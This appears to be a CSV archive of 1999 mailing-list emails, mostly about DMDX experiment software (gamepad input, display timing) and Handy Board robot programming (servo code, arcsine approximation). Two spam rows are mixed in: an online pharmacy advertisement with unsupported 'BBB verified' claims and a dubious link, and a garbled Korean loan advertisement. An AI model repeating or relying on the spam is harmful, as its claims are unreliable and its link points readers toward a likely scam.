-0700",[DMDX] Re: ,"At 03:58 PM 11/26/99 -0500, you wrote: >How have people fared with standard joy sticks and game pads? Any >recommendations here? Standard joysticks and gamepads with the RawJoystick input device are as good as a PIO12 (identical as far as timing and CPU load are concerned), better really as they require fewer parts to be bought and in most cases don't need an interface card as most machines have a joystick port already. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 18:00:26 -0700",[DMDX] Re: ,"At 02:23 PM 11/26/99 -0700, you wrote: >Just out of curiousity I checked, PST (www.pstnet.com) also seems to make >one. I have no idea if it's usable with DMDX (seems to be made for the >evil MEL and their new product -looks like they're finally putting MEL >out of it's misery...). Perhaps the easiest thing to do is to buy one of these button boxes, making sure that it just has buttons and no extraneous signal condtitioning circuitry, buy a cheap joystick or gamepad and wire the joystick/gamepad's cable into the button box. The joystick/gamepad approach requires no pull up resistors, just match the connections up in the botton box the way the joystick/gamepad was wired. That way you don't have to mount switches in a box, just a little soldering is all that is required. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 max ,DMDX@psy1.psych.arizona.edu,"Sat, 27 Nov 1999 12:08:56 +1100",[DMDX] joysticks,"Can analog input be precisely measured with DMDX & a joystick e.g. a msec by msec record of the 3-D position of the joystick relative to the vertical? If so, that would unleash a gigantic research program, I'd say. Max > >At 03:58 PM 11/26/99 -0500, you wrote: > >How have people fared with standard joy sticks and game pads? Any > >recommendations here? > > Standard joysticks and gamepads with the RawJoystick input device are as >good as a PIO12 (identical as far as timing and CPU load are concerned), >better really as they require fewer parts to be bought and in most cases >don't need an interface card as most machines have a joystick port already. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Pohl's law: > Nothing is so good that somebody, somewhere, will not hate it. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== __________________________________ max@currawong.bhs.mq.edu.au Max Coltheart, Department of Psychology, Macquarie University Sydney NSW 2109 Australia tel +61 2 9850 8086 (work) +61 2 9418 7269 (home) fax +61 2 9850 6059 (work) +61 2 9418 7101 (home) my diary http://calendar.yahoo.com/public/maxcoltheart my home page http://rosella.bhs.mq.edu.au/~max/ DRC's home page http://rosella.bhs.mq.edu.au/~max/DRC/ ",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 20:33:32 -0500",[DMDX] Re: ,"A gamepad sounds like the best option (duh.... sometimes I miss the really obvious). This is especially the case since I'll be using the PIO12 to trigger my Neuroscan system. I love this... I'm saving a LOT of money (read over a grand in software and hardware costs), AND I am getting the best stimulus presentation capabilities possible. This is great!!! You've really outdone yourself this time, Jonathan. One more question: Will the clock speed of the computer matter much? Does a Pentium III 600 have a lower error rate than a Pentium Classic 100, assuming that the video card remains constant? It seems like it might... I'll be making some decisions about equipment allocation, so this info will be most helpful. cheers, JK At 05:55 PM 11/26/99 -0700, you wrote: >At 03:58 PM 11/26/99 -0500, you wrote: >>How have people fared with standard joy sticks and game pads? Any >>recommendations here? > > Standard joysticks and gamepads with the RawJoystick input device are as >good as a PIO12 (identical as far as timing and CPU load are concerned), >better really as they require fewer parts to be bought and in most cases >don't need an interface card as most machines have a joystick port already. > >-jonathan (j.c.f.) > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 22:07:28 -0700",[DMDX] Re: joysticks,"At 12:08 PM 11/27/99 +1100, you wrote: >Can analog input be precisely measured with DMDX & a joystick e.g. a >msec by msec record of the 3-D position of the joystick relative to >the vertical? If so, that would unleash a gigantic research program, >I'd say. No analog inputs, no demand for it here. If someone wants to reimburse me for doing it that'll be about the only way it'll happen unless someone decides they've got to have it here. It couldn't be polled at 1000Hz anyway, polling the axes takes longer than a millisecond (unless you've got one of them new fangled USB digital joysticks I guess), 100Hz maybe. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pohl's law: Nothing is so good that somebody, somewhere, will not hate it. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Fri, 26 Nov 1999 22:16:40 -0700",[DMDX] Re: ,"At 08:33 PM 11/26/99 -0500, you wrote: >A gamepad sounds like the best option (duh.... sometimes I miss the really >obvious). This is especially the case since I'll be using the PIO12 to >trigger my Neuroscan system. You can use the PIO12 and a button box wired into it at the same time. You do of course need a PIO12 connector that busses signals to the neuroscan and also accepts inputs. >I love this... I'm saving a LOT of money (read over a grand in software and >hardware costs), AND I am getting the best stimulus presentation >capabilities possible. This is great!!! You've really outdone yourself >this time, Jonathan. > >One more question: Will the clock speed of the computer matter much? Does >a Pentium III 600 have a lower error rate than a Pentium Classic 100, >assuming that the video card remains constant? It seems like it might... >I'll be making some decisions about equipment allocation, so this info will >be most helpful. As a rule the faster the better :) Depends on what you are trying to do though, I have 300MHz K6 systems that never miss a beat under normal circumstances, start pushing a bit of digital video around however and you can see their weakness. There are other machines that must have some kind of configuration or driver issue that report display timing errors with regularity, if a faster processor was put in them (keeping everything else the same) I imagine the error rate would go down dramatically. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Pittsburgh Driver's Test (8) Pedestrians are (a) irrelevant. (b) communists. (c) a nuisance. (d) difficult to clean off the front grille. The correct answer is (a). Pedestrians are not in cars, so they are totally irrelevant to driving; you should ignore them completely. ",0,0 John Bachman ,handyboard@media.mit.edu,"Sat, 27 Nov 1999 11:53:06 -0500",Interface to other displays,"Hi, Does anyone have info on replacing the LCD with another type of display? What I have in mind is an array of 5 X 7 LED displays. No sense reinventing the wheel if someone has already done this. TIA John ",0,0 Peter ,Handy Board Mailing List ,"Sat, 27 Nov 1999 14:07:02 -0500",Navigation with two Polaroid Sonars?,"What is a good meathod to implement navigation on a robot with two Polaroid sonars and basic two-motor steering? I was doing research and they use nueral networks and such, but I am not yet at the stage to implement something that complex. Thanks for any help you can give. --Peter Eacmen Boston Latin School eacmen@att.net ",0,0 """T.C."" ",handyboard@media.mit.edu,"Sat, 27 Nov 1999 18:23:50 -0800",Opto isolator," Hi, I was wandering if anyone knew where I could get a MOC5003 or MOC5004 opto isolator. I tried looking on the motorola web site but could not find it. Does any one know where I coul something similiar to this that works the same way. TIM __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Kam K Leang ,"""T.C."" ","Sat, 27 Nov 1999 20:00:32 -0700",Re: Opto isolator,"Hi Tim, Try http://www.digikey.com and http://www.mouser.com There seems to be a huge variety of MOC3x series optoisolators to choose from. You might be able to find a substitute for the MOC5003 or 4 that you're looking for. Good luck, -kam http://www.mech.utah.edu/~kleang On Sat, 27 Nov 1999, T.C. wrote: > > Hi, > > I was wandering if anyone knew where I could get a > MOC5003 or MOC5004 opto isolator. I tried looking on > the motorola web site but could not find it. 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",1,0 Baca ,"handyboard@media.mit.edu, marcia@media.mit.edu, herbert@media.mit.edu, allyson@media.mit.edu","Tue, 30 Nov 1999 08:20:37 +0500",it's good to be fit," We are the ONLY (yes - only) online med store verifed by BBB and approved by Visa Thats a BIG plus Do shopping with us with confidence, we sell quality meds at great prices Check us out http://gbttjf.rookteam.info/?afvanoruyejs not interested? you can out-out at our website ",1,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 11:27:15 -0700",[DMDX] win2k," Just tested DMDX under win2k rc2 (that's Windows 2000 Release Candidate 2) and it flies along quite nicely. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Wagner's music is better than it sounds. - Mark Twain ",0,0 Eddie Harmon-Jones ,DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 12:55:08 -0600",[DMDX] timing,"Hi, Someone posted a note in early Oct indicating timing inaccuracies in DMDX. Jonathan replied and indicated that DMDX's timing is very accurate, and I have no doubt that it is. Do you know if this person found the cause of his timing problem? Since then, I have discovered a similar problem with timing in my lab. I have a 750-second file that presents large bmp files and collects no responses. When I time it with a stopwatch, it is inaccurate by + or - 3 sec. DMDX reports no errors in the diagnotics file. I noticed the problem in Win98 and then tried Win95 and the problem remained. I'd appreciate your suggestions as to how I might fix this problem. Eddie Eddie Harmon-Jones Department of Psychology University of Wisconsin -- Madison 1202 West Johnson Street Madison, WI 53706 email: eharmonj@facstaff.wisc.edu phone: 608-265-5504 fax: 608-262-4029 ",0,0 """T.C."" ",handyboard@media.mit.edu,"Mon, 29 Nov 1999 09:03:17 -0800",servo program,"Can anyone please write me a brief servo motor program that will control two servos from the expansion board? This the one I had to control one, but did not work: void main(void) { while(1) { init_expbd_servos(1) servo0 = 1000 } return(0); } __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 19:10:59 +0000","[DMDX] Examples, examples, examples","Hi. A bit of criticism. People are forgetting to include examples of scripts that are causing problems. This makes it hard to judge what the problem is. When you mail this list it is unclear whether you are a seasoned old timer or beginner, so an example of the script enables others to judge whether it is a basic error or something more fundamental/interesting.... I am guilty of doing this too. - Mike xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Gary Livick ,Will ,"Mon, 29 Nov 1999 10:44:55 -0800","Re: evaluate inverse cosine, sine in IC","I've been trying to do this as well. The problem I have found is that the Taylor series expansion needs to be developed near the solution to get accurate results. Some may wonder why finding the arcsine of a number might be of interest. If one has a robot that is sitting at some angle to a wall, and by using a ranging device of some kind (SONAR, IR ranging) mounted on a servo is able to get two ranges to the wall, the first at one angle from the robot and the second at a different angle from the robot, then the angle of the robot axis to the wall can be determined. In dead reckoning navigation, it is often necessary to update robot position from known landmarks. To do this calculation, the ""law of cosines"" is first used, and the interim results are then used in the ""law of sines"" to get the angle. Arcsine is needed in the last calculation. One could generate a lookup table to go into in memory to find the angle, but what a waste of space. It would be nice if Motorola had a freeware math function of arcsine, but they appear not to. After days of head scratching, I have yet to turn up a simple algorithm to calculate arcsine from a random argument. Any math majors out there with nothing to do? Thanks for any help, Gary Livick Will wrote: > bedirhan wrote: > > > > Hi, is there a way to evaluate inverse cosine and sine using IC? Thx > > The most efficient way to do it is to use Taylor Series approximations of the functions. Decide how much precision you need, and then write functions that evaluate the first few terms in the appropriate series. > > Usually, a series will converge quite rapidly, and only half a dozen or so terms are needed. For example, if the sixth term in the series is on the order of 1.0E-6, then you're getting close to the limit of single-precision arithmetic anyway (and certainly close enough for horse shoes, hand grenades, and tactical nuclear weapons). > > -- Will ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 13:54:39 -0700",[DMDX] Re: timing,"At 12:55 PM 11/29/99 -0600, you wrote: >Hi, >Someone posted a note in early Oct indicating timing inaccuracies in DMDX. >Jonathan replied and indicated that DMDX's timing is very accurate, and I >have no doubt that it is. Do you know if this person found the cause of his >timing problem? > >Since then, I have discovered a similar problem with timing in my lab. I >have a 750-second file that presents large bmp files and collects no >responses. When I time it with a stopwatch, it is inaccurate by + or - 3 >sec. DMDX reports no errors in the diagnotics file. I noticed the problem >in Win98 and then tried Win95 and the problem remained. I'd appreciate your >suggestions as to how I might fix this problem. His problem is probably the same problem you have, you are probably not using the Delay parameter that makes the ISI exactly some value. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Law of Probable Dispersal: Whatever it is that hits the fan will not be evenly distributed. ",0,0 bart_schrijver@agilent.com,dab8rs_85@yahoo.com,"Mon, 29 Nov 1999 11:06:10 -0800",Re: servo program," Dear ?: First off, your program contains an infinite loop; statement return(0); will never be reached. Also you told it that main does not return a value, yet you used e return in the end. This will generate a compiler error for sure. I belief the IC parser expects main to be defined as follows: int main() { /* code here */ } Second: You only need to execute the initialization statement init_expbd_servos(1); ones. Third: Your statements need to be terminated with a ; in order for the parser to recognize them as two individual statements. Fourth: I am not sure if setting the variable servo0 to 1000 is the correct way of controlling servo #0. But it might be. Rewrite your program as follows: int main() { init_expbd_servos(1); servo0 = 1000; return(0); } Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: servo program Author: Non-HP-dab8rs-85 (dab8rs_85@yahoo.com) at HP-PaloAlto,mimegw2 Date: 11/29/99 9:03 AM Can anyone please write me a brief servo motor program that will control two servos from the expansion board? This the one I had to control one, but did not work: void main(void) { while(1) { init_expbd_servos(1) servo0 = 1000 } return(0); } __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Ann Walker ,info@gso.bu.edu,"Mon, 29 Nov 1999 14:06:19 -0600",minutes of the November 18th meeting,"Organized according to committee reports: Healthcare FAR Liaison Publicity & a note about our plans for the December meeting. Healthcare Committee ==================== - In October, the Healthcare Committee completed the National Assoc. of Graduate - Professional Student's (NAGPS) health insurance survey, filling in information about BU's student insurance plan and campus health services. The Healthcare Committee contributed to this survey's creation earlier in the year. - NAGPS has collected some basic statistics from the 24 institutions that have answered the survey so far (more statistics will come from the NAGPS in the future). Some interesting statistics are (percentages and fractions are out of the number of institutions that responded to a particular question, list as N below): - BU's premium of $576 is lower than the average of $644.25 (N=24). BU's premium for spouses is also lower than average (N=19). (This does not take into account how our ""coverage"" compares to the other plans.) - 1/3 of institutions subsidize at least part of the premium for some subset of graduate students (N=18). - 1/4 of institutions don't require grads to purchase insurance, i.e., neither the state nor the institution mandates this (N=24). - 61% of institutions have fees for using student health services, including BU, whose fee is comparatively low (N=23). - 43% have domestic partner coverage available (N=21). - Healthcare Committee members have been assigned to update Healthcare Pages (http://gso.bu.edu/healthcare) write-ups of: - MassHealth - Healthnet FAR Committee ================= - How to improve the experience of Teaching Fellows at BU The planned expansion of orientation programs (sponsored by the GRS) for new Teaching Fellows was discussed. Also, the possibility of using the class that TF's take (#699) to help them be better teachers was brought up. At the departmental level, we should encourage the use of this class as something more than another course TF's sign up for each semester. Liaison Committee ================= The following information comes from a meeting with Andrea White (assistant to Assoc. Dean Whitaker) on November 17, 1999: - GRS is still planning a mandatory end-of-summer orientation for all new students arriving as Teaching Fellows next Fall. Int'l TFs will arrive first (tentatively, August 22) and go through the same kinds of language evaluation given at last year's orientation. Domestic TFs will arrive later (date not yet determined) when joint International/Domestic TF training (like ""practice teaching"") and events will begin. The program will run until the tentative date of August 31. GRS is currently looking for accommodations for the expected number of students. - Andrea suggested we take advantage of each dept's ""graduate student orientation"" as another means to introduce students to the GSO. This may be possible as we acquire dept reps for each dept/program. - Andrea still has not done a survey of grad stipends at other local schools (she has said that if she does one, she'd ask the dean whether she could share those statistics with the GSO). - Andrea stated that information on ""what other schools have"" can be useful in arguing for certain resources with the administration. In the context of acquiring a reasonable grad student/GSO lounge, our liaison acquired some information about what ""space"" grads/grad orgs at other local schools have this past summer--we should use this information when the lounge issue is revisited. - GRS will allow us to place a flyer in mailings to new Spring grads and/or the packets they receive when they arrive. We will prepare something with information about the resources available at our web site for that purpose. Library Privileges ------------------ As of the meeting, Assoc. Dean Whitaker had not responded to an e-mail sent on November 12th inquiring about the state of his efforts to discuss library privilege improvements for grads with the library administration. Andrea White could not provide any information on that state. To this end, what to do as a next step was discussed during this general GSO meeting. The consensus at the meeting was for the liaison to send one more request (as a paper letter) expressing students' concerns about how that process is proceeding and then to give Whitaker the rest of the semester before taking additional action. Publicity Committee =================== The system administrator for our GSO server (gso.bu.edu), Dave Morgan , asked whether any students knew of a machine the GSO could use to replace its server. Recently, the machine the GSO uses, a machine lent to the GSO from Math, was down because that dept used it to temporarily replace an ailing Math machine. To avoid problems like this in the future, the GSO is looking for a machine that can be dedicated solely to act as our server. Such a machine could be an old 486, Sun Workstation, etc. that either a dept or individual is willing to donate. December ======== We will elect officers at the December meeting.",0,1 Barry Brouillette ,handyboard@media.mit.edu,"Mon, 29 Nov 1999 19:15:09 +0000",Re: servo program,"Here's a simple program that will make a servo move as the knob on the Handyboard is turned: int i; void main() { init_expbd_servos(1); while(1) { i= knob(); i = (i*10)+1000; printf(""val %d\\n"",i); msleep(20L); servo0 = i; } } In lugnet.robotics.handyboard, ""T.C."" writes: >Can anyone please write me a brief servo motor program >that will control two servos from the expansion board? > >This the one I had to control one, but did not work: > >void main(void) >{ > while(1) > { > init_expbd_servos(1) > servo0 = 1000 > } > > return(0); >} > >__________________________________________________ >Do You Yahoo!? >Thousands of Stores. Millions of Products. All in one place. >Yahoo! Shopping: http://shopping.yahoo.com",0,1 bart_schrijver@agilent.com,dab8rs_85@yahoo.com,"Mon, 29 Nov 1999 11:17:12 -0800","Re: servo program, addendum"," Dear ? The initialization function is: enable_expbd_servos(1); per the latest library routines see handyboard web site. Bart Schrijver. ______________________________ Reply Separator _________________________________ Subject: servo program Author: Non-HP-dab8rs-85 (dab8rs_85@yahoo.com) at HP-PaloAlto,mimegw2 Date: 11/29/99 9:03 AM Can anyone please write me a brief servo motor program that will control two servos from the expansion board? This the one I had to control one, but did not work: void main(void) { while(1) { init_expbd_servos(1) servo0 = 1000 } return(0); } __________________________________________________ Do You Yahoo!? Thousands of Stores. Millions of Products. All in one place. Yahoo! Shopping: http://shopping.yahoo.com ",0,1 Jeroen van der Vegt ,Handyboard Mailing List ,"Mon, 29 Nov 1999 21:23:49 +0100","Re: evaluate inverse cosine, sine in IC","Taylor series should converge quite rapidly. After 2 or 3 terms, the error is usually neglectable (depending or your demands, of course: this should be fine for up to a few decimals) For those not familiar with the Taylor expansion, I've added a small picture containing the formula. ----- Original Message ----- From: Gary Livick To: Will Cc: Handyboard Mailing List Sent: Monday, November 29, 1999 7:44 PM Subject: Re: evaluate inverse cosine, sine in IC > I've been trying to do this as well. The problem I have found is that the Taylor series expansion needs to be developed near the solution to get accurate results. > > Some may wonder why finding the arcsine of a number might be of interest. If one has a robot that is sitting at some angle to a wall, and by using a ranging device of some kind (SONAR, IR ranging) mounted on a servo is able to get two ranges to the wall, the first at one angle from the robot and the second at a different angle from > the robot, then the angle of the robot axis to the wall can be determined. In dead reckoning navigation, it is often necessary to update robot position from known landmarks. > > To do this calculation, the ""law of cosines"" is first used, and the interim results are then used in the ""law of sines"" to get the angle. Arcsine is needed in the last calculation. > > One could generate a lookup table to go into in memory to find the angle, but what a waste of space. It would be nice if Motorola had a freeware math function of arcsine, but they appear not to. After days of head scratching, I have yet to turn up a simple algorithm to calculate arcsine from a random argument. Any math majors out > there with nothing to do? > > Thanks for any help, > > Gary Livick > > > > Will wrote: > > > bedirhan wrote: > > > > > > Hi, is there a way to evaluate inverse cosine and sine using IC? Thx > > > > The most efficient way to do it is to use Taylor Series approximations of the functions. Decide how much precision you need, and then write functions that evaluate the first few terms in the appropriate series. > > > > Usually, a series will converge quite rapidly, and only half a dozen or so terms are needed. For example, if the sixth term in the series is on the order of 1.0E-6, then you're getting close to the limit of single-precision arithmetic anyway (and certainly close enough for horse shoes, hand grenades, and tactical nuclear weapons). > > > > -- Will >",0,0 Barry Brouillette ,handyboard@media.mit.edu,"Mon, 29 Nov 1999 21:46:30 +0000","Re: evaluate inverse cosine, sine in IC","Another technique for finding trig functions and their inverses used by both HP and TI in their calculators is the CORDIC algrorithm. A description of the technique with lots of references can be found at: http://www.ti.com/calc/docs/faq/83faq086.htm Barry In lugnet.robotics.handyboard, ""Jeroen van der Vegt"" writes: >Taylor series should converge quite rapidly. After 2 or 3 terms, the error >is usually neglectable (depending or your demands, of course: this should be >fine for up to a few decimals) > >For those not familiar with the Taylor expansion, I've added a small picture >containing the formula. > > >----- Original Message ----- >From: Gary Livick >To: Will >Cc: Handyboard Mailing List >Sent: Monday, November 29, 1999 7:44 PM >Subject: Re: evaluate inverse cosine, sine in IC > > >> I've been trying to do this as well. The problem I have found is that the >Taylor series expansion needs to be developed near the solution to get >accurate results. >> >> Some may wonder why finding the arcsine of a number might be of interest. >If one has a robot that is sitting at some angle to a wall, and by using a >ranging device of some kind (SONAR, IR ranging) mounted on a servo is able >to get two ranges to the wall, the first at one angle from the robot and the >second at a different angle from >> the robot, then the angle of the robot axis to the wall can be determined. >In dead reckoning navigation, it is often necessary to update robot position >from known landmarks. >> >> To do this calculation, the ""law of cosines"" is first used, and the >interim results are then used in the ""law of sines"" to get the angle. >Arcsine is needed in the last calculation. >> >> One could generate a lookup table to go into in memory to find the angle, >but what a waste of space. It would be nice if Motorola had a freeware math >function of arcsine, but they appear not to. After days of head scratching, >I have yet to turn up a simple algorithm to calculate arcsine from a random >argument. Any math majors out >> there with nothing to do? >> >> Thanks for any help, >> >> Gary Livick >> >> >> >> Will wrote: >> >> > bedirhan wrote: >> > > >> > > Hi, is there a way to evaluate inverse cosine and sine using IC? Thx >> > >> > The most efficient way to do it is to use Taylor Series approximations >of the functions. Decide how much precision you need, and then write >functions that evaluate the first few terms in the appropriate series. >> > >> > Usually, a series will converge quite rapidly, and only half a dozen or >so terms are needed. For example, if the sixth term in the series is on the >order of 1.0E-6, then you're getting close to the limit of single-precision >arithmetic anyway (and certainly close enough for horse shoes, hand >grenades, and tactical nuclear weapons). >> > >> > -- Will >> > > >-- >MIME ATTACHMENTS DISCARDED: > >1. Content-Type: image/gif; > name=""ASINACOS.GIF"" > Content-Transfer-Encoding: base64 > Content-Disposition: attachment; > filename=""ASINACOS.GIF"" > Content-Length: 4881",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 20:36:12 -0500",[DMDX] Re: ,"Jonathan, I bought a $20.00 game pad that works like a champ. I was trying it out on a P100 with 40 MB RAM and two video cards.. I am waiting for a PIII 550 MHZ with 256 MB RAM, 20 GB HDD, and Matrox 32 MB 2X AGP video with dual monitor support as my stimulus machine. The P100 had only a couple of errors during the text mode of FEATURES.RTF (modified to accept input from my game pad). The graphics portion gave the program a tic disorder, no doubt because the program had to keep polling the game port. We'll be finding another use for that P100 box. JK At 06:00 PM 11/26/99 -0700, j.c.f. wrote: >At 02:23 PM 11/26/99 -0700, you wrote: > >>Just out of curiousity I checked, PST (www.pstnet.com) also seems to make >>one. I have no idea if it's usable with DMDX (seems to be made for the >>evil MEL and their new product -looks like they're finally putting MEL >>out of it's misery...). > > Perhaps the easiest thing to do is to buy one of these button boxes, >making sure that it just has buttons and no extraneous signal condtitioning >circuitry, buy a cheap joystick or gamepad and wire the joystick/gamepad's >cable into the button box. The joystick/gamepad approach requires no pull >up resistors, just match the connections up in the botton box the way the >joystick/gamepad was wired. That way you don't have to mount switches in a >box, just a little soldering is all that is required. > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >Pohl's law: > Nothing is so good that somebody, somewhere, will not hate it. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 29 Nov 1999 20:11:50 -0700",[DMDX] Re: ,"At 08:36 PM 11/29/99 -0500, you wrote: >Jonathan, > >I bought a $20.00 game pad that works like a champ. I was trying it out on >a P100 with 40 MB RAM and two video cards.. I am waiting for a PIII 550 MHZ >with 256 MB RAM, 20 GB HDD, and Matrox 32 MB 2X AGP video with dual monitor >support as my stimulus machine. > >The P100 had only a couple of errors during the text mode of FEATURES.RTF >(modified to accept input from my game pad). The graphics portion gave the >program a tic disorder, no doubt because the program had to keep polling >the game port. Depends which device you used, the RawJoystick device imposes minimal overhead, the regular Joystick device poses a significant overhead however. >We'll be finding another use for that P100 box. Yeah, a P100 is a little light on for CPU cycles. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Yacc"" owes much to a most stimulating collection of users, who have goaded me beyond my inclination, and frequently beyond my ability in their endless search for ""one more feature"". Their irritating unwillingness to learn how to do things my way has usually led to my doing things their way; most of the time, they have been right. - S. C. Johnson, ""Yacc guide acknowledgements"" ",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Tue, 30 Nov 1999 00:14:55 -0500",[DMDX] Re: ,"My understanding of ""RawJoystick"" is that you're constrained to a few button assignments: The game pad has many (I believe eight in all... I believe that it's a Gravis, if memory serves me correctly). Unfortunately, the layout and default button assignments make it ergonomically impractical... The use of the drivers that came with the joystick makes this less of a consideration. I'll try it with the monster PIII 550 when it comes and let you know how I fair. If the number of missed ticks remains unacceptable, I'll wire the game pad into junction box for the PIO12. The good news, is that there are many, many options here... and none of them expensive or technically prohibitive. Those Friday evening Doom and Quake sessions paid off in ways that I could never have imagined! cheers, John At 08:11 PM 11/29/99 -0700, j.c.f. wrote: >At 08:36 PM 11/29/99 -0500, you wrote: >>Jonathan, >> >>I bought a $20.00 game pad that works like a champ. I was trying it out on >>a P100 with 40 MB RAM and two video cards.. I am waiting for a PIII 550 MHZ >>with 256 MB RAM, 20 GB HDD, and Matrox 32 MB 2X AGP video with dual monitor >>support as my stimulus machine. >> >>The P100 had only a couple of errors during the text mode of FEATURES.RTF >>(modified to accept input from my game pad). The graphics portion gave the >>program a tic disorder, no doubt because the program had to keep polling >>the game port. > > Depends which device you used, the RawJoystick device imposes minimal >overhead, the regular Joystick device poses a significant overhead however. > >>We'll be finding another use for that P100 box. > > Yeah, a P100 is a little light on for CPU cycles. > > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >""Yacc"" owes much to a most stimulating collection of users, who have >goaded me beyond my inclination, and frequently beyond my ability in >their endless search for ""one more feature"". Their irritating >unwillingness to learn how to do things my way has usually led to my >doing things their way; most of the time, they have been right. > > - S. C. Johnson, ""Yacc guide acknowledgements"" > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > _____________________________________________________________________________ John P. Kline, Ph.D. Phone: 850-644-9363 Assistant Professor Fax: 850-644-7739 Department of Psychology Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ______________________________________________________________________________ ",0,1 �� ��â ,DMDX@psy1.psych.arizona.edu,"Tue, 30 Nov 1999 11:45:48 +0100",ȸ������������ձ����ǿ�0.49~1%�ݸ�����!,���� ������ ���������� ���������� ������ ���������� �������������� ���� �������� ��������  �� �� �� ��  ��  ��  ��  ��  ��  ��  ��  ��  �� ��  ��  ��  ��  ��    ��  ��  ��  ��  �� ��   ��   ��   ��   ��    ��    ��    �� �� �� �� �� �� �� �� ��   �� �� ��,1,1 IRELAND ,handyboard@media.mit.edu,"Tue, 30 Nov 1999 11:15:26 -0500",Vector 2X Compass,"Hello - I'm having some trouble figuring out how to wire Precision Navigation's Vector 2X Compass for use with the Handy Board. I've checked out the files in "".../software/contrib/tomb/"" on the Handy Board site, but I'm sort of at a loss. Due to the fact that I'm brand new at electronics I'm a bit hesitant to try to wire anything without more explicit instructions.... More specifically, if someone could explain the symbols in the schematic at "".../software/contrib/tomb/compass.gif"", such as what's going on at the 'EOC' pin, and what the triangles mean at 'X-Flip' and 'M/S'. More importantly, if anyone has a diagram (or can explain explicitly in English) showing how and where the pins on the compass get wired to the Handy Board/Expansion Board, that would be extremely helpful! Thanks in advance! CHRIS IRELAND ",0,0 Alex Stewart ,handyboard@media.mit.edu,"Tue, 30 Nov 1999 13:43:41 -0800",Sharp GP2D12 (analog version) troubles,"Hi Recently Got a sharp Gp2D12 IR ranger , for those who dont know it continusly gives a analog value in proportion to the distance to a object. Problem: When I wired it up I got a constant 147-150 no matter were the object was. Unplugged sensor I got 2?? so I know the port works. Any Ideis? Could it be the 47k pull up? I heard it could be , and to fix you cut the trace for one of the ports top disable the pull up, but which one ?? tried cutting analog 6 but then analog 6 wouldnt work? Help Thanx Robotman P.S. Resolderd little gap I cut and analog 6 was restored. Is there a web site with answers to above? 